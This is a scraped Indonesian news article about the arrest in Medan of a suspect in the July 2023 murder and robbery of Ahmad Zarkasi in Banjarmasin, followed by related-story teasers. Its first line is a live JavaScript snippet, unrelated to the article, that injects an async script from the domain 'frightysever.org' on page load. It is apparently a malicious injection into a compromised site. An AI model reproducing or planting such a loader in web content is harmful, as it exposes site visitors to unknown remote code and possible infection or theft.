(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pelaku pembunuhan sekaligus pencurian atas korban Ahmad Zarkasi (51) pada Senin (3/7/2023) lalu, berhasil ditangkap.
Tim gabungan kepolisian dari Resmob Polda Kalimantan Selatan (Kalsel) bersama Sat Reskrim Polesta Banjarmasin dan Buser Banjarmasin Utara, berhasil membekuk MI di jalan Sisingamangaraja, Kecamatan Medan Amplas, Kota Medan, Sumatera Utara, Jumat (14/7/2023) lalu.
Pencurian berujung tewasnya Ahmad Zarkasi berlangsung di rumah korban jalan Sultan Adam, Komplek Tekwondo RT 36 Kelurahan Surgi Mufti, Kecamatan Banjarmasin Utara, Kota Banjarmasin.
Lelaki ini ditangkap atas dugaan pembunuhan sekaligus pencurian dengan kekerasan. Pelaku menghabisi korban menggunakan sebuah cangkul, hingga menyebabkan korban meninggal dunia dengan mendapati 9 mata luka dan 4 luka terbuka yang mengenai tulang.
Motif dibalik perbuatan keji itu diakui MI karena tidak terima merasa dilecehkan oleh korban. Pelaku MI merasa bahwa korban tidak dapat menepati janji kepadanya.
Baca juga: Istilah ‘Belah Semangka’ Disebut Saksi di Sidang Korupsi Proyek Bendungan Tapin
Baca juga: Tangkapan 10 Kg Sabu, Bukti Kalsel Pasar Potensial Sindikat Narkoba
Tim gabungan kepolisian mengungkap, pada penyelidikan pertama yakni Kamis 6 Juli 2023, sekitar pukul 20.00 Wita, polisi awalnya mengamankan S alias Udin Namo -kawan MI- di jalan Kayu Bawang, Kecamatan Gambut, Kabupaten Banjar yang mempunyai barang bukti.
S diketahui memiliki barang bukti berupa dua buah Handphone Note 5 dan Handphone Note 7 milik korban yang saat kejadian diambil pelaku MI.
Menurut keterangan S, dua handphone yang dia miliki adalah milik korban yang ternyata dijual oleh MI kepada S.
Sebelum menjual handphone tersebut diketahui terduga pelaku sempat bercerita bahwa dirinya memerlukan uang untuk menjenguk anaknya di Kota Binjai, Sumatera Utara.
Alhasil, pada Rabu 12 Juli 2023, tim gabungan berangkat ke Sumatara Utara untuk berkoordinasi melakukan pencarian dan penangkapan terhadap pelaku.
Usai dua hari menggali informasi, tim Buser mendapati keberadaan MI di depan Indomaret jalan Sisingamangaraja, Kecamatan Medan Amplas, Kota Medan, Sumatera Utara, Jumat (14/7/2023) sekitar pukul 10.08 Wib.
Pelaku berhasil diamankan kini telah menetap di wilayah hukum Polda Kalsel guna menjalankan proses hukum lebih lanjut. “Kasus 380-365 KUHP Komplek Taekwondo terungkap, setelah melakukan pengejaran selama 10 hari,” pungkas Kasatreskrim Polresta Banjarmasin Kompol Thomas Afrian, Senin (17/7/2023) siang.(Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
This website uses cookies.